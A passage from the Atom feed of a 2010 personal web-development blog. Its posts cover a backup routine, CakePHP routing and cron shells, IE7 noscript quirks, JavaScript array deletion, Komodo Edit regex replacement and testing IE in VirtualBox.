&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Register plugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;PluginManager&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;pixelastic_hr&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;plugins&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;pixelastic_hrPlugin&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trick to use the &lt;code&gt;editor.dom.split&lt;/code&gt; method to split the parent element
around the &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;The dirty hacks is that there is no way to get a direct reference to a DOM
element added through &lt;code&gt;mceInsertContent&lt;/code&gt;, so we need to set a temporary unique
id and then select it through this id.&lt;/p&gt;
&lt;p&gt;I use jQuery in my example and I strongly suggest you to do the same, the
selectors it provides are much sexier and helps writing these kind of plugins
pretty fast.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>My new backup strategy for 2011</title>
    <link href="https://blog.pixelastic.com/2010/12/07/backup-strategy-2011/"/>
    <updated>2010-12-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/12/07/backup-strategy-2011</id>
    <content type="html">&lt;p&gt;My computer was starting to get slower and slower for the past days. And I
realized my automatic backup wasn&#39;t backing anything up for the past month.&lt;/p&gt;
&lt;p&gt;And I realized I had different versions of the same files on my 2 laptops...&lt;/p&gt;
&lt;p&gt;Well, it seems I have to do some cleaning up.&lt;/p&gt;
&lt;h2&gt;Synchronizing paperwork&lt;/h2&gt;
&lt;p&gt;I started by cleaning up my &lt;a href=&quot;http://www.dropbox.com/&quot;&gt;Dropbox&lt;/a&gt; folder. I removed
shared folders with past clients, and created a &amp;quot;Paperwork&amp;quot; folder where I put
all my invoices, contracts and general paperwork.&lt;/p&gt;
&lt;p&gt;I also added my private &lt;a href=&quot;http://keepass.info/&quot;&gt;KeePass&lt;/a&gt; file as well as other
info I may need to access anywhere, anytime.&lt;/p&gt;
&lt;p&gt;KeePass allow me to store all my login/password credentials in a secure way
(protected by a master password). It is really useful to have this file on all
my computers (and mobile phone).&lt;/p&gt;
&lt;p&gt;Dropbox is excellent for storing simple files, that you need everywhere. Being
able to access invoices and contracts even from my mobile phone proved quite
valuable when meeting clients.&lt;/p&gt;
&lt;h2&gt;Hard backup of personal files&lt;/h2&gt;
&lt;p&gt;I&#39;ve also changed my scheduled backups of personal files. I bought an
&lt;a href=&quot;http://www.acronis.com/&quot;&gt;Acronis True Image&lt;/a&gt; last year, and reconfigured it
today.&lt;/p&gt;
&lt;p&gt;I have a hard drive whose sole purpose is to save backups. I scheduled for the
first of each month to save: my system state, my applications configuration, and
my personal files (photos, saved gamed, writings, etc).&lt;/p&gt;
&lt;p&gt;I manually started all this backups to have a clean start. I also forced the
backup to restart a whole new file every 6 month (opposed to using the
incremental backup).&lt;/p&gt;
&lt;h2&gt;Backing up my music and movies&lt;/h2&gt;
&lt;p&gt;I did not spent too much time figuring how to save my hundred of Go of music and
movies. I rarely watch the same movies twice, so losing them won&#39;t affect me too
much.&lt;/p&gt;
&lt;p&gt;I occasionally re-watch series, though, but as most of my friends have the same
tastes as I, I could very easily get them back from them, or download them
(again).&lt;/p&gt;
&lt;p&gt;Regarding music, well, I have quite a big collection, but most of it is already
&amp;quot;backed up&amp;quot; on my portable mp3 player.&lt;/p&gt;
&lt;h2&gt;Automatic synchronizing with BitBucket&lt;/h2&gt;
&lt;p&gt;On my day work, I now always version my files using Mercurial.
&lt;a href=&quot;http://bitbucket.org/&quot;&gt;BitBucket&lt;/a&gt; offers unlimited storage, and unlimited
public repositories. Private repo are limited to 5 users. As I&#39;m mostly alone on
projects that should stay private, this seems the best deal I could found.&lt;/p&gt;
&lt;p&gt;Mercurial being a versionning system, I got all the benefits of a backup here,
being able to revert to previous versions, update it whenever I want and access
it from anywhere.&lt;/p&gt;
&lt;p&gt;I wrote a custom Hg hook on commit to automatically push my repos to BitBucket
at least once a day (I&#39;ll post the code in a future post).&lt;/p&gt;
&lt;h2&gt;MySQL Backup&lt;/h2&gt;
&lt;p&gt;I used to backup mysql databases on my work computer using a windows app. This
was slowing down my computer on every boot as well and backup was thus only
effective when I was working and not when I was on vacations.&lt;/p&gt;
&lt;p&gt;Today, I wanted something a lot more flexible, so I set a cronjob on my main
host coupled with a slightly edited
&lt;a href=&quot;http://sourceforge.net/projects/automysqlbackup/&quot;&gt;autoMySQLBackup&lt;/a&gt; script.&lt;/p&gt;
&lt;p&gt;This will automatically run everyday at midnight and make a local save (with
daily, weekly and monthly rotate) of all my clients databases. Logs are saved on
disk and gzipped, and will also be sent to a special backup@pixelastic.com mail
address (stored on GMail).&lt;/p&gt;
&lt;p&gt;This way I am sure to have my mysql backups on two different hosts, with daily
and automatic saves, that I can access from anywhere if anything goes wrong.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It took me almost two full days to get the right tools, configure them and write
my custom scripts but now, it is seamlessly integrated with my daily workflow.
This is a weight off my shoulders, I know I can safely work as usual and my
files are saved and easily accessible.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using Router::connectNamed without breaking pagination</title>
    <link href="https://blog.pixelastic.com/2010/12/02/router-connectnamed-breaking-pagination/"/>
    <updated>2010-12-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/12/02/router-connectnamed-breaking-pagination</id>
    <content type="html">&lt;p&gt;In cakePHP, you can pass all sort of parameters to your urls by following the
&lt;code&gt;www.domain.com/controllers/view/foo:bar/foo2:baz&lt;/code&gt; syntax.&lt;/p&gt;
&lt;p&gt;You could then access &lt;code&gt;$this-&amp;gt;params[&#39;foo&#39;]&lt;/code&gt; and &lt;code&gt;$this-&amp;gt;params[&#39;foo2&#39;]&lt;/code&gt; in your
&lt;code&gt;Controller::view()&lt;/code&gt; method.&lt;/p&gt;
&lt;h2&gt;Using Router::connectName()&lt;/h2&gt;
&lt;p&gt;This does not play nice with default routing. I mean, if you define a route to
add a vanity url like &lt;code&gt;www.domain.com/vanity&lt;/code&gt; is routed to &lt;code&gt;Controller:view()&lt;/code&gt;,
you&#39;ll write something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Router::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/vanity&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;controller&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;controllers&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;action&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;view&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will work as long as you don&#39;t specify any additional parameters. Once you
started to add any parameters, the Router won&#39;t be able to parse your url and
instead of returning &lt;code&gt;www.domain.com/vanity/foo:bar/foo2:baz&lt;/code&gt; it will return the
default &lt;code&gt;www.domain.com/controllers/view/foo:bar/foo2:baz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you do want your custom parameters to be taken into account by your &lt;code&gt;Router&lt;/code&gt;
rules, you have to manually add them, using
&lt;code&gt;Router::connectNamed(array(&#39;foo&#39;, &#39;foo2&#39;))&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Custom connectNamed()&lt;/h2&gt;
&lt;p&gt;I&#39;ll let you browse the
&lt;a href=&quot;http://api.cakephp.org/class/router#method-RouterconnectNamed&quot;&gt;connectNamed()&lt;/a&gt;
documentation page for further details on how to use it properly. But one
important thing not to overlook is that if you ever have to define a custom
&lt;code&gt;Router::connectNamed()&lt;/code&gt;, do not forget to add a second parameter of
&lt;code&gt;array(&#39;default&#39; =&amp;gt; true)&lt;/code&gt;, this will allow all your paginated links to keep
working.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The dreaded &lt;noscript&gt; on IE7</title>
    <link href="https://blog.pixelastic.com/2010/11/26/dreaded-noscript-ie7/"/>
    <updated>2010-11-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/26/dreaded-noscript-ie7</id>
    <content type="html">&lt;p&gt;This &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; tag on IE7 is making me crazy. Here are some &amp;quot;interesting&amp;quot;
facts about it:&lt;/p&gt;
&lt;h2&gt;No content through Javascript&lt;/h2&gt;
&lt;p&gt;You can&#39;t get its content though javascript. It can be targeted but neither
&lt;code&gt;.innerHTML&lt;/code&gt; nor &lt;code&gt;.textContent&lt;/code&gt; is set. It does not have any &lt;code&gt;.childNodes&lt;/code&gt;
either.&lt;/p&gt;
&lt;h2&gt;Gets displayed even when scripts are enabled&lt;/h2&gt;
&lt;p&gt;If you set &lt;code&gt;noscript { display:block; border:15px solid red;},&lt;/code&gt; it will get
displayed even if Javascript is enabled. But with no content inside, you&#39;ll only
have borders and background...&lt;/p&gt;
&lt;h2&gt;Styling it anyway&lt;/h2&gt;
&lt;p&gt;If you want to style it, just add an inner element and style this one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;noscript&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Lorem ipsum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;noscript&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;noscript&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; p&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;blue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Disabling Javascript on IE7&lt;/h2&gt;
&lt;p&gt;If you want to disable Javascript on IE7, you&#39;ll have to go to Tools &amp;gt; Internet
Options &amp;gt; Security &amp;gt; Custom and setting the &amp;quot;Enable ASP scripts&amp;quot; to No.&lt;/p&gt;
&lt;p&gt;Yes, this doesn&#39;t make any sense.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Deleting an element from an Array/Object in Javascript</title>
    <link href="https://blog.pixelastic.com/2010/11/25/deleting-element-array-object-javascript/"/>
    <updated>2010-11-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/25/deleting-element-array-object-javascript</id>
    <content type="html">&lt;p&gt;I&#39;m going to post that here because it&#39;s the second time I stumble upon this
&amp;quot;problem&amp;quot; and the second time I lost some precious time to understand what was
going on.&lt;/p&gt;
&lt;p&gt;I had a Javascript Array, named &lt;code&gt;elements&lt;/code&gt; and I wanted to remove one of its
properties by its index &lt;code&gt;i&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I know that merely calling &lt;code&gt;elements[i] = null&lt;/code&gt; won&#39;t work (the property will
still be present in the array and the length won&#39;t be updated.&lt;/p&gt;
&lt;p&gt;Calling &lt;code&gt;delete elements[i]&lt;/code&gt; won&#39;t work either. Same result.&lt;/p&gt;
&lt;p&gt;I had to use &lt;code&gt;elements.splice(i, 1)&lt;/code&gt; to effectively remove the element and
update the length value.&lt;/p&gt;
&lt;p&gt;Also note that sometimes I accidentally declare an Array when what I really want
is an Object. I tend to forgot that associative &lt;code&gt;Arrays&lt;/code&gt; in Javascript do not
really exists, they just are &lt;code&gt;Objects&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Komodo Edit Tip : Using regexp in search/replace</title>
    <link href="https://blog.pixelastic.com/2010/11/24/komodo-edit-tip-regexp-search-replace/"/>
    <updated>2010-11-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/24/komodo-edit-tip-regexp-search-replace</id>
    <content type="html">&lt;p&gt;Here&#39;s a little tip. As I started to use more and more often the regexp search
and replace feature of Komodo Edit, I guessa quick blog note could be useful.&lt;/p&gt;
&lt;p&gt;I had to &amp;quot;simplify&amp;quot; a big HTML file a while ago, and searching for useless tags
and then replacing them using this feature saved me a lot of time.&lt;/p&gt;
&lt;p&gt;Note that you can use &lt;code&gt;&#92;n&lt;/code&gt; and &lt;code&gt;&#92;t&lt;/code&gt; for new line and tabulation respectively.&lt;/p&gt;
&lt;p&gt;I also had to change the order of attributes in all &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags (according to
Google Page Speed, this is supposed to help the Gzip algorithm in compressing
data).&lt;/p&gt;
&lt;p&gt;I just had to search for&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; src&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;(.*)&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;(.*)&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; height&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;(.*)&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; alt&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;(.*)&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and replace with&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; src&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&#92;1&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; alt&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&#92;4&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; height&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&#92;3&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; width&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&#92;2&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Testing IE6 and IE7 using VirtualBox on Windows</title>
    <link href="https://blog.pixelastic.com/2010/11/23/testing-ie6-ie7-virtualbox-windows/"/>
    <updated>2010-11-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/23/testing-ie6-ie7-virtualbox-windows</id>
    <content type="html">&lt;p&gt;Testing various IE version as always been a chore. Back in the days, I managed
to install both IE7 and use a standalone IE6 version.&lt;/p&gt;
&lt;p&gt;Then, I discovered [IETester](http://www.my-
debugbar.com/wiki/IETester/HomePage) that became a lifesaver (my IE6 standalone
tends to crash a little too often). It would allow me to test various IE
versions side by side.&lt;/p&gt;
&lt;p&gt;Unfortunatly, the emulation wasn&#39;t perfect, some ajax calls were returning
errors and the Flash support wasn&#39;t so good.&lt;/p&gt;
&lt;p&gt;Additionnaly, there was not way to use the
&lt;a href=&quot;http://www.debugbar.com/?langage=en&quot;&gt;IEDebugBar&lt;/a&gt; nor the WebPageTest plugin.&lt;/p&gt;
&lt;h2&gt;Switching to VM&lt;/h2&gt;
&lt;p&gt;I finally decided to switch to a Virtual Machine. This would allow me to have an
exact snapshot of a given OS/IE version.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.virtualbox.org/&quot;&gt;VirtualBox&lt;/a&gt; is free, so this was my choice.
Microsft used to provide [free downloads of various flavors of Windows/IE](htt
p://www.microsoft.com/downloads/en/details.aspx?FamilyId=21EABB90-958F-
4B64-B5F1-73D0A413C8EF&amp;amp;displaylang=en), but it seems to be only working with
their proprietary VirtualPC (which only works under Windows 7).&lt;/p&gt;
&lt;p&gt;So I took the long road, and manually installed a Windows XP Pro through
VirtualBox, using my Windows XP cd.&lt;/p&gt;
&lt;p&gt;I used the same serial than my main windows XP. I&#39;m not exactly sure if legally,
I&#39;m allowed to do that. How does a VM fits inside the legal statements? Am I
allowed to use one windows activation key inside itself? Well, I don&#39;t really
know and don&#39;t care that much.&lt;/p&gt;
&lt;h2&gt;Starting with some housekeeping&lt;/h2&gt;
&lt;p&gt;I ended up with a nice and clean WinXP install. I had to add an antivirus quick
if I wanted to keep it clean. VirtualBox provides a Shared Folder feature to
exchange files between the host and the guest.&lt;/p&gt;
&lt;p&gt;Start by adding shared folders to your guest (Devices &amp;gt; Shared Folders).&lt;/p&gt;
&lt;p&gt;Then install the &amp;quot;Guest Additions&amp;quot;, &lt;del&gt;just mount the &lt;code&gt;VBoxGuestAdditions.iso&lt;/code&gt;
found in your VirtualBox installation directory, using DaemonTools and run the
installer.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;Don&#39;t be as silly as I was. Do not install the Guest Additions on your host, but
on your guest. Yeah, seems more logical that way. Just select the options in the
Devices menu of your guest window. Reboot after the installation.&lt;/p&gt;
&lt;p&gt;You should now be able to access your shared folders by opening the windows
Explorer (Windows + E), and going to Network places &amp;gt; All network &amp;gt; VirtualBox
Shared Folders&lt;/p&gt;
&lt;h2&gt;Accessing your websites&lt;/h2&gt;
&lt;p&gt;I then updated the &lt;code&gt;C:&#92;WINDOWS&#92;system32&#92;drivers&#92;etc&#92;hosts&lt;/code&gt; file to bind all
requests made to my still-in-development websites to my host.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;10.0.2.2        www.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;10.0.2.2        s1.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;10.0.2.2        s2.pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;10.0.2.2        s3.pixelastic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can find your host ip by doing a &lt;code&gt;ipconfig /all&lt;/code&gt; in a command prompt.&lt;/p&gt;
&lt;p&gt;You then just have to go to http://www.pixelastic/ in IE6 to display the correct
website. You can even switch to the Seamless mode to display your IE6 inside
your main host.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Running a cakePHP shell script as cronjob on Dreamhost</title>
    <link href="https://blog.pixelastic.com/2010/11/22/running-cakephp-shell-script-cronjob-dreamhost/"/>
    <updated>2010-11-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/11/22/running-cakephp-shell-script-cronjob-dreamhost</id>
    <content type="html">&lt;p&gt;Dreamhost as &lt;a href=&quot;http://wiki.dreamhost.com/Crontab&quot;&gt;a wonderful wiki&lt;/a&gt; on how to set
cron jobs and cakePHP has
&lt;a href=&quot;http://book.cakephp.org/view/846/Running-Shells-as-cronjobs&quot;&gt;a cookbook page on how to do it&lt;/a&gt;
too, but getting it just right was a little frustrating.&lt;/p&gt;
&lt;p&gt;I finally managed to run my shell task as a cronjob, and here is how I did it.&lt;/p&gt;
&lt;h2&gt;The magic command&lt;/h2&gt;
&lt;p&gt;First, here is the command I wrote in my Dreamhost panel:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;/home/username/domain.com/cake/console/cake&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -app&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /home/username/domain.com/app/&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; shell_name&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You have to set the full path to the cake console because it obviously is not in
the pre-saved paths on a default Dreamhost install.&lt;/p&gt;
&lt;p&gt;You also have to specify the &lt;code&gt;app&lt;/code&gt; directory otherwise cake will search your
shell in the wrong directories. This is even more important if your shell is
located in a plugin directory.&lt;/p&gt;
&lt;p&gt;But, this won&#39;t work as-is, you&#39;ll have to do several other stuff, mostly
explained by [Miles Johnson](http://www.milesj.me/blog/read/83/Setting-Up-
Cron-Jobs-With-Cake-Shells), but I&#39;ll recap them&lt;/p&gt;
&lt;h2&gt;Setting the file as executable&lt;/h2&gt;
&lt;p&gt;You have to set the &lt;code&gt;cake/console/cake&lt;/code&gt; file as executable. It is kind of
obvious, but you have to do it anyway.&lt;/p&gt;
&lt;h2&gt;Set the TERM variable&lt;/h2&gt;
&lt;p&gt;Update you &lt;code&gt;cake/console/cake&lt;/code&gt; to replace the first lines with:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;LIB&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;/%&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cake&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;APP&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;pwd&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;TERM&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;linux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; TERM&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you don&#39;t, you&#39;ll have notice errors in the resulting log. No big deal, but
it is cleaner that way.&lt;/p&gt;
&lt;h2&gt;Forcing using php5&lt;/h2&gt;
&lt;p&gt;While in command line, the php command refer to the php4 version. If you need to
use php5 (and I guess you should), you would have to manually reference the
binary file. Hence, you have to update your &lt;code&gt;cake/console/cake&lt;/code&gt; file one more
time and change the &lt;code&gt;exec&lt;/code&gt; line to:&lt;/p&gt;
